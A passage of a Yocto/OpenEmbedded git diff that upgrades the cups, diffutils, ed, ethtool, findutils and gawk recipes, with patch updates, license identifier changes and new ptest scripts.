+ ${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd', d)} \
+ openssl \
+"
+PACKAGECONFIG[avahi] = "--with-dnssd=avahi,--with-dnssd=no,avahi"
PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl"
+PACKAGECONFIG[gnutls] = "--with-tls=gnutls,,gnutls,,,openssl"
+PACKAGECONFIG[openssl] = "--with-tls=openssl,,openssl,,,gnutls"
PACKAGECONFIG[pam] = "--enable-pam --with-pam-module=unix, --disable-pam, libpam"
PACKAGECONFIG[systemd] = "--with-systemd=${systemd_system_unitdir},--without-systemd,systemd"
PACKAGECONFIG[xinetd] = "--with-xinetd=${sysconfdir}/xinetd.d,--without-xinetd,xinetd"
+PACKAGECONFIG[webif] = "--enable-webif,--disable-webif"
EXTRA_OECONF = " \
- --enable-gnutls \
--enable-dbus \
+ --with-dbusdir=${sysconfdir}/dbus-1 \
--enable-browsing \
--disable-gssapi \
--enable-debug \
--disable-relro \
--enable-libusb \
+ --with-system-groups=lpadmin,root,sys,wheel \
+ --with-cups-group=lp \
+ --with-domainsocket=/run/cups/cups.sock \
+ --with-pkgconfpath=${libdir}/pkgconfig \
DSOFLAGS='${LDFLAGS}' \
"
EXTRA_AUTORECONF += "--exclude=autoheader"
-do_compile () {
- echo "all:" > man/Makefile
- echo "libs:" >> man/Makefile
- echo "install:" >> man/Makefile
- echo "install-data:" >> man/Makefile
- echo "install-exec:" >> man/Makefile
- echo "install-headers:" >> man/Makefile
- echo "install-libs:" >> man/Makefile
-
- oe_runmake
-}
-
do_install () {
- oe_runmake "DSTROOT=${D}" install
+ oe_runmake "BUILDROOT=${D}" install
# Remove /var/run from package as cupsd will populate it on startup
rm -fr ${D}/${localstatedir}/run
@@ -73,7 +75,7 @@ do_install () {
rmdir ${D}/${libexecdir}/${BPN}/driver
# Fix the pam configuration file permissions
- if ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'true', 'false', d)}; then
+ if ${@bb.utils.contains('PACKAGECONFIG', 'pam', 'true', 'false', d)}; then
chmod 0644 ${D}${sysconfdir}/pam.d/cups
fi
@@ -91,27 +93,25 @@ do_install () {
fi
}
-PACKAGES =+ "${PN}-lib ${PN}-libimage"
+PACKAGES =+ "${PN}-lib ${PN}-libimage ${PN}-webif"
-RDEPENDS_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'procps', '', d)}"
-FILES_${PN} += "${libexecdir}/cups/ \
- "
+RDEPENDS:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'procps', '', d)}"
+FILES:${PN} += "${libexecdir}/cups/"
-FILES_${PN}-lib = "${libdir}/libcups.so.*"
+FILES:${PN}-lib = "${libdir}/libcups.so.*"
-FILES_${PN}-libimage = "${libdir}/libcupsimage.so.*"
+FILES:${PN}-libimage = "${libdir}/libcupsimage.so.*"
-#package the html for the webgui inside the main packages (~1MB uncompressed)
+# put the html for the web interface into its own PACKAGE
+FILES:${PN}-webif += "${datadir}/doc/cups/ ${datadir}/icons/"
+RRECOMMENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'webif', '${PN}-webif', '', d)}"
-FILES_${PN} += "${datadir}/doc/cups/images \
- ${datadir}/doc/cups/*html \
- ${datadir}/doc/cups/*.css \
- ${datadir}/icons/ \
- "
-CONFFILES_${PN} += "${sysconfdir}/cups/cupsd.conf"
+CONFFILES:${PN} += "${sysconfdir}/cups/cupsd.conf"
MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/cups-config"
+LOCALE_PATHS += "${datadir}/cups/templates"
+
SYSROOT_PREPROCESS_FUNCS += "cups_sysroot_preprocess"
cups_sysroot_preprocess () {
sed -i ${SYSROOT_DESTDIR}${bindir_crossscripts}/cups-config -e 's:cups_datadir=.*:cups_datadir=${datadir}/cups:' -e 's:cups_serverbin=.*:cups_serverbin=${libexecdir}/cups:'
diff --git a/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch b/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch
index ea248e4710..2bc26edbfc 100644
--- a/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch
+++ b/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch
@@ -26,48 +26,6 @@ index 32e2e0b..f1478d4 100644
#
-@@ -205,9 +205,9 @@ ppdc-static: ppdc.o libcupsppdc.a ../cups/$(LIBCUPSSTATIC) foo.drv foo-fr.po
- $(LD_CXX) $(ARCHFLAGS) $(ALL_LDFLAGS) -o ppdc-static ppdc.o libcupsppdc.a \
- $(LINKCUPSSTATIC)
- $(CODE_SIGN) -s "$(CODE_SIGN_IDENTITY)" $@
-- echo Testing PPD compiler...
-- ./ppdc-static -l en,fr -I ../data foo.drv
-- ./ppdc-static -l en,fr -z -I ../data foo.drv
-+# echo Testing PPD compiler...
-+# ./ppdc-static -l en,fr -I ../data foo.drv
-+# ./ppdc-static -l en,fr -z -I ../data foo.drv
-
-
- #
-@@ -235,17 +235,17 @@ ppdi-static: ppdc-static ppdi.o libcupsppdc.a ../cups/$(LIBCUPSSTATIC)
- $(LD_CXX) $(ARCHFLAGS) $(ALL_LDFLAGS) -o ppdi-static ppdi.o libcupsppdc.a \
- $(LINKCUPSSTATIC)
- $(CODE_SIGN) -s "$(CODE_SIGN_IDENTITY)" $@
-- echo Testing PPD importer...
-- $(RM) -r ppd ppd2 sample-import.drv
-- ./ppdc-static -l en -I ../data sample.drv
-- ./ppdi-static -I ../data -o sample-import.drv ppd/*
-- ./ppdc-static -l en -I ../data -d ppd2 sample-import.drv
-- if diff -r ppd ppd2 >/dev/null; then \
-- echo PPD import OK; \
-- else \
-- echo PPD import FAILED; \
-- exit 1; \
-- fi
-+# echo Testing PPD importer...
-+# $(RM) -r ppd ppd2 sample-import.drv
-+# ./ppdc-static -l en -I ../data sample.drv
-+# ./ppdi-static -I ../data -o sample-import.drv ppd/*
-+# ./ppdc-static -l en -I ../data -d ppd2 sample-import.drv
-+# if diff -r ppd ppd2 >/dev/null; then \
-+# echo PPD import OK; \
-+# else \
-+# echo PPD import FAILED; \
-+# exit 1; \
-+# fi
-
-
- #
--
2.17.1
diff --git a/meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch b/meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch
deleted file mode 100644
index b48c7a9ad2..0000000000
--- a/meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 66c2079ae91389ee0f9d704bf0d2cccd53b2c603 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 22 Jul 2012 16:54:17 -0700
-Subject: [PATCH 3/4] cups_1.4.6.bb: Fix build on ppc64
-
-Make CUPS_SERVERBIN relative to libdir otherwise on 64bit arches
-e.g. ppc64 where base libdir is lib64 this does not go well
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Inappropriate [OE config specific]
-
-Update on 20190904:
-Redefine CUPS_SERVERBIN to "$libexecdir/cups" which solves file confliction
-when multilib is enabled.
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
----
- config-scripts/cups-directories.m4 | 2 +-
- configure | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/config-scripts/cups-directories.m4 b/config-scripts/cups-directories.m4
-index b74083a..9a5abb2 100644
---- a/config-scripts/cups-directories.m4
-+++ b/config-scripts/cups-directories.m4
-@@ -270,7 +270,7 @@ case "$host_os_name" in
- *)
- # All others
- INSTALL_SYSV="install-sysv"
-- CUPS_SERVERBIN="$exec_prefix/lib/cups"
-+ CUPS_SERVERBIN="$libexecdir/cups"
- ;;
- esac
-
-diff --git a/configure b/configure
-index d3df145..bc68a6c 100755
---- a/configure
-+++ b/configure
-@@ -6420,7 +6420,7 @@ case "$host_os_name" in
- *)
- # All others
- INSTALL_SYSV="install-sysv"
-- CUPS_SERVERBIN="$exec_prefix/lib/cups"
-+ CUPS_SERVERBIN="$libexecdir/cups"
- ;;
- esac
-
---
-2.17.1
-
diff --git a/meta/recipes-extended/cups/cups/libexecdir.patch b/meta/recipes-extended/cups/cups/libexecdir.patch
new file mode 100644
index 0000000000..7ccad94f0f
--- /dev/null
+++ b/meta/recipes-extended/cups/cups/libexecdir.patch
@@ -0,0 +1,35 @@
+From 1724f7bcdbcfdb445778f8a2e530c5c094c18c10 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Tue, 13 Jul 2021 12:56:30 +0100
+Subject: [PATCH] Use $libexecdir instead of hardcoding $prefix/lib as this
+ breaks multilib builds.
+
+Upstream-Status: Pending
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+---
+ config-scripts/cups-directories.m4 | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/config-scripts/cups-directories.m4 b/config-scripts/cups-directories.m4
+index 2033d47..230166e 100644
+--- a/config-scripts/cups-directories.m4
++++ b/config-scripts/cups-directories.m4
+@@ -239,7 +239,7 @@ AC_SUBST([CUPS_REQUESTS])
+ AS_CASE(["$host_os_name"], [*-gnu], [
+ # GNUs
+ INSTALL_SYSV="install-sysv"
+- CUPS_SERVERBIN="$exec_prefix/lib/cups"
++ CUPS_SERVERBIN="$libexecdir/cups"
+ ], [*bsd* | darwin*], [
+ # *BSD and Darwin (macOS)
+ INSTALL_SYSV=""
+@@ -247,7 +247,7 @@ AS_CASE(["$host_os_name"], [*-gnu], [
+ ], [*], [
+ # All others
+ INSTALL_SYSV="install-sysv"
+- CUPS_SERVERBIN="$exec_prefix/lib/cups"
++ CUPS_SERVERBIN="$libexecdir/cups"
+ ])
+
+ AC_DEFINE_UNQUOTED([CUPS_SERVERBIN], ["$CUPS_SERVERBIN"], [Location of server programs.])
diff --git a/meta/recipes-extended/cups/cups_2.3.3.bb b/meta/recipes-extended/cups/cups_2.3.3.bb
deleted file mode 100644
index 5caeb6f58b..0000000000
--- a/meta/recipes-extended/cups/cups_2.3.3.bb
+++ /dev/null
@@ -1,6 +0,0 @@
-require cups.inc
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
-
-SRC_URI[md5sum] = "412434ceefbdf3ec71bc9188a035f589"
-SRC_URI[sha256sum] = "261fd948bce8647b6d5cb2a1784f0c24cc52b5c4e827b71d726020bcc502f3ee"
diff --git a/meta/recipes-extended/cups/cups_2.4.7.bb b/meta/recipes-extended/cups/cups_2.4.7.bb
new file mode 100644
index 0000000000..f4b0282e4c
--- /dev/null
+++ b/meta/recipes-extended/cups/cups_2.4.7.bb
@@ -0,0 +1,5 @@
+require cups.inc
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
+
+SRC_URI[sha256sum] = "dd54228dd903526428ce7e37961afaed230ad310788141da75cebaa08362cf6c"
diff --git a/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb b/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb
index 65a99fc28d..0e155b6c95 100644
--- a/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb
+++ b/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb
@@ -1,7 +1,8 @@
SUMMARY = "Collection of autoconf m4 macros"
SECTION = "base"
HOMEPAGE = "http://sourceforge.net/projects/cwautomacros.berlios/"
-LICENSE = "GPLv2"
+DESCRIPTION = "A collection of autoconf macros, plus an autogen.sh script that can be used with them."
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://LICENSE;md5=eb723b61539feef013de476e68b5c50a"
SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}.berlios/${BP}.tar.bz2"
@@ -13,7 +14,7 @@ do_configure() {
}
do_install() {
- oe_runmake CWAUTOMACROSPREFIX=${D}${prefix} install
+ oe_runmake LABEL=`date -d @${SOURCE_DATE_EPOCH} +%Y%m%d` CWAUTOMACROSPREFIX=${D}${prefix} install
# cleanup buildpaths in autogen.sh
sed -i -e 's,${D},,g' ${D}${prefix}/share/cwautomacros/scripts/autogen.sh
diff --git a/meta/recipes-extended/diffutils/diffutils.inc b/meta/recipes-extended/diffutils/diffutils.inc
index c9e3130587..194d6e5a1b 100644
--- a/meta/recipes-extended/diffutils/diffutils.inc
+++ b/meta/recipes-extended/diffutils/diffutils.inc
@@ -7,7 +7,7 @@ SECTION = "base"
inherit autotools texinfo update-alternatives gettext
-ALTERNATIVE_${PN} = "diff cmp"
+ALTERNATIVE:${PN} = "diff cmp"
ALTERNATIVE_PRIORITY = "100"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch b/meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch
index aac1c43465..32793233f9 100644
--- a/meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch
+++ b/meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch
@@ -1,4 +1,4 @@
-From bd7fb8be2ae2d75347cf7733302d5093046ffa85 Mon Sep 17 00:00:00 2001
+From f31395c931bc633206eccfcfaaaa5d15021a3e86 Mon Sep 17 00:00:00 2001
From: Peiran Hong <peiran.hong@windriver.com>
Date: Thu, 5 Sep 2019 15:42:22 -0400
Subject: [PATCH] Skip strip-trailing-cr test case
@@ -10,26 +10,20 @@ package.
Upstream-Status: Inappropriate [embedded specific]
Signed-off-by: Peiran Hong <peiran.hong@windriver.com>
+
---
- tests/Makefile.am | 4 +++-
- 1 file changed, 3 insertions(+), 1 deletion(-)
+ tests/Makefile.am | 1 -
+ 1 file changed, 1 deletion(-)
diff --git a/tests/Makefile.am b/tests/Makefile.am
-index 83a7c9d..04d51b5 100644
+index 79bacfb..4adb4d7 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
-@@ -21,8 +21,10 @@ TESTS = \
+@@ -22,7 +22,6 @@ TESTS = \
stdin \
strcoll-0-names \
filename-quoting \
- strip-trailing-cr \
- colors
-+# Skipping this test since it requires valgrind
-+# and thus is too heavy for diffutils package
-+# strip-trailing-cr
-
- XFAIL_TESTS = large-subopt
-
---
-2.21.0
-
+ timezone \
+ colors \
+ y2038-vs-32bit
diff --git a/meta/recipes-extended/diffutils/diffutils_3.7.bb b/meta/recipes-extended/diffutils/diffutils_3.10.bb
index 8111ae6065..08e8305612 100644
--- a/meta/recipes-extended/diffutils/diffutils_3.7.bb
+++ b/meta/recipes-extended/diffutils/diffutils_3.10.bb
@@ -1,4 +1,4 @@
-LICENSE = "GPLv3+"
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
require diffutils.inc
@@ -6,19 +6,22 @@ require diffutils.inc
SRC_URI = "${GNU_MIRROR}/diffutils/diffutils-${PV}.tar.xz \
file://run-ptest \
file://0001-Skip-strip-trailing-cr-test-case.patch \
-"
+ "
-SRC_URI[md5sum] = "4824adc0e95dbbf11dfbdfaad6a1e461"
-SRC_URI[sha256sum] = "b3a7a6221c3dc916085f0d205abf6b8e1ba443d4dd965118da364a1dc1cb3a26"
+SRC_URI[sha256sum] = "90e5e93cc724e4ebe12ede80df1634063c7a855692685919bfe60b556c9bd09e"
EXTRA_OECONF += "ac_cv_path_PR_PROGRAM=${bindir}/pr --without-libsigsegv-prefix"
+# latest gnulib is no longer able to handle this - I dare not try to fix that maze of abstractions and generators
+CFLAGS:mingw32 = " -DSA_RESTART=0"
+
# Fix "Argument list too long" error when len(TMPDIR) = 410
acpaths = "-I ./m4"
+EXTRA_OEMAKE:append:mingw32 = " LIBS='-lbcrypt'"
inherit ptest
-RDEPENDS_${PN}-ptest += "make perl"
+RDEPENDS:${PN}-ptest += "make perl"
do_install_ptest() {
t=${D}${PTEST_PATH}
diff --git a/meta/recipes-extended/ed/ed_1.16.bb b/meta/recipes-extended/ed/ed_1.20.1.bb
index f383007b59..9ae53002c3 100644
--- a/meta/recipes-extended/ed/ed_1.16.bb
+++ b/meta/recipes-extended/ed/ed_1.20.1.bb
@@ -1,10 +1,11 @@
SUMMARY = "Line-oriented text editor"
HOMEPAGE = "http://www.gnu.org/software/ed/"
+DESCRIPTION = "GNU ed is a line-oriented text editor. It is used to create, display, modify and otherwise manipulate text files, both interactively and via shell scripts. A restricted version of ed, red, can only edit files in the current directory and cannot execute shell commands."
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=0c7051aef9219dc7237f206c5c4179a7 \
- file://ed.h;endline=20;md5=0226a8dd88c76afba773f2f0f7c83f5e \
- file://main.c;endline=17;md5=ebd4aff86dc9fa5027d55bc5191746b9 \
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=76d6e300ffd8fb9d18bd9b136a9bba13 \
+ file://ed.h;endline=20;md5=c3212b6c53b09668107420af9368c0ef \
+ file://main.c;endline=17;md5=e5d2ae5ddd1ecb87dc71702c06dd06dc \
"
SECTION = "base"
@@ -18,8 +19,7 @@ bindir = "${base_bindir}"
SRC_URI = "${GNU_MIRROR}/ed/${BP}.tar.lz"
UPSTREAM_CHECK_URI = "${GNU_MIRROR}/ed/"
-SRC_URI[md5sum] = "ab480d982289064ca040bc5c75fceffd"
-SRC_URI[sha256sum] = "cfc07a14ab048a758473ce222e784fbf031485bcd54a76f74acfee1f390d8b2c"
+SRC_URI[sha256sum] = "b1a463b297a141f9876c4b1fcd01477f645cded92168090e9a35db2af4babbca"
EXTRA_OEMAKE = "-e MAKEFLAGS="
diff --git a/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch b/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
index 8ecfde1417..69df8632f2 100644
--- a/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
+++ b/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
@@ -1,4 +1,4 @@
-From 1c6c017e56ec536f5cceacdb02092777d390debb Mon Sep 17 00:00:00 2001
+From 758fde7186730ee331a0ee6149276cd412766ee0 Mon Sep 17 00:00:00 2001
From: Tudor Florea <tudor.florea@enea.com>
Date: Wed, 28 May 2014 18:59:54 +0200
Subject: [PATCH] ethtool: use serial-tests config needed by ptest.
@@ -15,12 +15,12 @@ Upstream-Status: Inappropriate
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/configure.ac b/configure.ac
-index 1169b7f..ed82524 100644
+index c871558..8ea1eaa 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -2,7 +2,7 @@ dnl Process this file with autoconf to produce a configure script.
- AC_INIT(ethtool, 5.7, netdev@vger.kernel.org)
+@@ -3,7 +3,7 @@ AC_INIT(ethtool, 6.7, netdev@vger.kernel.org)
AC_PREREQ(2.52)
+ AC_CONFIG_MACRO_DIR([m4])
AC_CONFIG_SRCDIR([ethtool.c])
-AM_INIT_AUTOMAKE([gnu subdir-objects])
+AM_INIT_AUTOMAKE([gnu subdir-objects serial-tests])
diff --git a/meta/recipes-extended/ethtool/ethtool_5.7.bb b/meta/recipes-extended/ethtool/ethtool_6.7.bb
index d9fc30cb55..33df0e0e80 100644
--- a/meta/recipes-extended/ethtool/ethtool_5.7.bb
+++ b/meta/recipes-extended/ethtool/ethtool_6.7.bb
@@ -2,7 +2,7 @@ SUMMARY = "Display or change ethernet card settings"
DESCRIPTION = "A small utility for examining and tuning the settings of your ethernet-based network interfaces."
HOMEPAGE = "http://www.kernel.org/pub/software/network/ethtool/"
SECTION = "console/network"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://ethtool.c;beginline=4;endline=17;md5=c19b30548c582577fc6b443626fc1216"
@@ -11,13 +11,13 @@ SRC_URI = "${KERNELORG_MIRROR}/software/network/ethtool/ethtool-${PV}.tar.gz \
file://avoid_parallel_tests.patch \
"
-SRC_URI[sha256sum] = "c2e16f8bf510c5822f8e25061c2533972308a421767c54abcacb1038b08bb782"
+SRC_URI[sha256sum] = "ace0e95a03b38208af4ebacb415244568ace44c5d5a279ea434844f900179c75"
UPSTREAM_CHECK_URI = "https://www.kernel.org/pub/software/network/ethtool/"
inherit autotools ptest bash-completion pkgconfig
-RDEPENDS_${PN}-ptest += "make"
+RDEPENDS:${PN}-ptest += "make bash"
PACKAGECONFIG ?= "netlink"
PACKAGECONFIG[netlink] = "--enable-netlink,--disable-netlink,libmnl,"
@@ -29,7 +29,9 @@ do_compile_ptest() {
do_install_ptest () {
cp ${B}/Makefile ${D}${PTEST_PATH}
install ${B}/test-cmdline ${D}${PTEST_PATH}
- install ${B}/test-features ${D}${PTEST_PATH}
+ if ${@bb.utils.contains('PACKAGECONFIG', 'netlink', 'false', 'true', d)}; then
+ install ${B}/test-features ${D}${PTEST_PATH}
+ fi
install ${B}/ethtool ${D}${PTEST_PATH}/ethtool
sed -i 's/^Makefile/_Makefile/' ${D}${PTEST_PATH}/Makefile
}
diff --git a/meta/recipes-extended/findutils/findutils.inc b/meta/recipes-extended/findutils/findutils.inc
index 9aa7239825..03cf2a8d72 100644
--- a/meta/recipes-extended/findutils/findutils.inc
+++ b/meta/recipes-extended/findutils/findutils.inc
@@ -6,11 +6,14 @@ HOMEPAGE = "http://www.gnu.org/software/findutils/"
BUGTRACKER = "http://savannah.gnu.org/bugs/?group=findutils"
SECTION = "console/utils"
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.xz"
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.xz \
+ file://autoconf-2.73.patch \
+ file://run-ptest \
+ "
-inherit autotools gettext texinfo update-alternatives
+inherit autotools gettext texinfo update-alternatives ptest
-ALTERNATIVE_${PN} = "find xargs"
+ALTERNATIVE:${PN} = "find xargs"
ALTERNATIVE_PRIORITY = "100"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/findutils/findutils/autoconf-2.73.patch b/meta/recipes-extended/findutils/findutils/autoconf-2.73.patch
new file mode 100644
index 0000000000..63728b5f91
--- /dev/null
+++ b/meta/recipes-extended/findutils/findutils/autoconf-2.73.patch
@@ -0,0 +1,24 @@
+The gnulib largefile macro needs updating to work with autoconf 2.73. Rather
+than the full code:
+
+https://git.savannah.gnu.org/cgit/gnulib.git/commit/m4/largefile.m4?id=f91f633858cf132e50924224c50d6264a92caabb
+
+Just tweak the exiting code to work with 2.73. The next findutils upgrade should
+update to new gnulib
+
+Upstream-Status: Inappropriate
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: findutils-4.9.0/gl/m4/largefile.m4
+===================================================================
+--- findutils-4.9.0.orig/gl/m4/largefile.m4
++++ findutils-4.9.0/gl/m4/largefile.m4
+@@ -26,7 +26,7 @@ AC_DEFUN([gl_SET_LARGEFILE_SOURCE],
+ # with _TIME_BITS. Also, work around a problem in autoconf <= 2.69:
+ # AC_SYS_LARGEFILE does not configure for large inodes on Mac OS X 10.5,
+ # or configures them incorrectly in some cases.
+-m4_version_prereq([2.70], [], [
++m4_version_prereq([2.73], [], [
+
+ # _AC_SYS_LARGEFILE_TEST_INCLUDES
+ # -------------------------------
diff --git a/meta/recipes-extended/findutils/findutils/run-ptest b/meta/recipes-extended/findutils/findutils/run-ptest
new file mode 100644
index 0000000000..ec71583c51
--- /dev/null
+++ b/meta/recipes-extended/findutils/findutils/run-ptest
@@ -0,0 +1,57 @@
+#!/bin/bash
+
+# create temporary symlink to workaround missing oldfind
+ln -s /usr/bin/find /tmp/oldfind
+# make oldfind visible
+export PATH="/tmp:${PATH}"
+
+export built_programs="find xargs locate updatedb"
+
+# this gets substituted by sed during build
+export VERSION="__run_ptest_version__"
+
+# define missing functions for tests/init.sh
+fu_path_prepend_ () {
+ path_prepend_ $@
+}
+
+print_ver_ () {
+ :
+}
+
+skip_if_root_ () {
+ [ $(id -u) = 0 ] && exit 77;
+}
+
+require_root_ () {
+ [ $(id -u) = 0 ] || exit 77;
+}
+
+expensive_ () {
+ :
+}
+
+export -f fu_path_prepend_
+export -f print_ver_
+export -f skip_if_root_
+export -f require_root_
+export -f expensive_
+
+
+for f in tests/*/*.sh; do
+ bash $f ;
+ case $? in
+ 0 )
+ echo -n "PASS";;
+ 77 )
+ echo -n "SKIP";;
+ * )
+ echo -n "FAIL";;
+ esac
+ echo ": $f"
+done
+
+#remove symlink
+rm -f /tmp/oldfind
+
+echo
diff --git a/meta/recipes-extended/findutils/findutils_4.7.0.bb b/meta/recipes-extended/findutils/findutils_4.7.0.bb
deleted file mode 100644
index 59688e528a..0000000000
--- a/meta/recipes-extended/findutils/findutils_4.7.0.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-require findutils.inc
-
-# GPLv2+ (<< 4.2.32), GPLv3+ (>= 4.2.32)
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
-
-DEPENDS = "bison-native"
-
-SRC_URI[md5sum] = "731356dec4b1109b812fecfddfead6b2"
-SRC_URI[sha256sum] = "c5fefbdf9858f7e4feb86f036e1247a54c79fc2d8e4b7064d5aaa1f47dfa789a"
-
-# http://savannah.gnu.org/bugs/?27299
-CACHED_CONFIGUREVARS += "gl_cv_func_wcwidth_works=yes"
-
-EXTRA_OECONF += "ac_cv_path_SORT=${bindir}/sort"
diff --git a/meta/recipes-extended/findutils/findutils_4.9.0.bb b/meta/recipes-extended/findutils/findutils_4.9.0.bb
new file mode 100644
index 0000000000..074817df27
--- /dev/null
+++ b/meta/recipes-extended/findutils/findutils_4.9.0.bb
@@ -0,0 +1,27 @@
+require findutils.inc
+
+# GPL-2.0-or-later (<< 4.2.32), GPL-3.0-or-later (>= 4.2.32)
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+DEPENDS = "bison-native"
+
+SRC_URI[sha256sum] = "a2bfb8c09d436770edc59f50fa483e785b161a3b7b9d547573cb08065fd462fe"
+
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
+# http://savannah.gnu.org/bugs/?27299
+CACHED_CONFIGUREVARS += "gl_cv_func_wcwidth_works=yes"
+
+EXTRA_OECONF += "ac_cv_path_SORT=${bindir}/sort"
+
+# need od from coreutils for -t option
+RDEPENDS:${PN}-ptest += "bash sed grep coreutils"
+
+do_install_ptest:class-target() {
+ mkdir -p ${D}${PTEST_PATH}/tests/
+ cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests/
+
+ # substitute value in run-ptest with actual version
+ sed -i -e 's/__run_ptest_version__/${PV}/' ${D}${PTEST_PATH}/run-ptest
+
+}
diff --git a/meta/recipes-extended/gawk/gawk/run-ptest b/meta/recipes-extended/gawk/gawk/run-ptest
index f67a95874f..f4ef3e7bd4 100644
--- a/meta/recipes-extended/gawk/gawk/run-ptest
+++ b/meta/recipes-extended/gawk/gawk/run-ptest
@@ -2,7 +2,12 @@
cd test
for i in `grep -E "^[a-z0-9_-]*:$" Maketests |awk -F: '{print $1}'`; do
- #LC_ALL=${GAWKLOCALE:-C} LANG=${GAWKLOCALE:-C}
+ unset LANG
+ grep -q "^$i$" skipped.txt
+ if [ $? -eq 0 ]; then
+ echo "SKIP: $i"
+ continue
+ fi
srcdir=`pwd` AWKPROG=gawk AWK=gawk CMP=cmp make -f Maketests $i >$i.tmp 2>&1
if [ -e _$i ]; then
cat _$i
diff --git a/meta/recipes-extended/gawk/gawk_5.1.0.bb b/meta/recipes-extended/gawk/gawk_5.1.0.bb
deleted file mode 100644
index 0d005cd43b..0000000000
--- a/meta/recipes-extended/gawk/gawk_5.1.0.bb
+++ /dev/null
@@ -1,55 +0,0 @@
-SUMMARY = "GNU awk text processing utility"
-DESCRIPTION = "The GNU version of awk, a text processing utility. \
-Awk interprets a special-purpose programming language to do \
-quick and easy text pattern matching and reformatting jobs."
-HOMEPAGE = "https://www.gnu.org/software/gawk/"
-BUGTRACKER = "bug-gawk@gnu.org"
-SECTION = "console/utils"
-
-# gawk <= 3.1.5: GPLv2
-# gawk >= 3.1.6: GPLv3
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-PACKAGECONFIG ??= "readline"
-PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
-PACKAGECONFIG[mpfr] = "--with-mpfr,--without-mpfr, mpfr"
-
-SRC_URI = "${GNU_MIRROR}/gawk/gawk-${PV}.tar.gz \
- file://run-ptest \
-"
-
-SRC_URI[md5sum] = "f719bc9966df28e67fc6ebc405e7ea03"
-SRC_URI[sha256sum] = "03a0360edcd84bec156fe211bbc4fc8c78790973ce4e8b990a11d778d40b1a26"
-
-inherit autotools gettext texinfo update-alternatives
-
-FILES_${PN} += "${datadir}/awk"
-FILES_${PN}-dev += "${libdir}/${BPN}/*.la"
-
-ALTERNATIVE_${PN} = "awk"
-ALTERNATIVE_TARGET[awk] = "${bindir}/gawk"
-ALTERNATIVE_PRIORITY = "100"
-
-do_install_append() {
- # remove the link since we don't package it
- rm ${D}${bindir}/awk
-}
-
-inherit ptest
-
-do_install_ptest() {
- mkdir ${D}${PTEST_PATH}/test
- ln -s ${bindir}/gawk ${D}${PTEST_PATH}/gawk
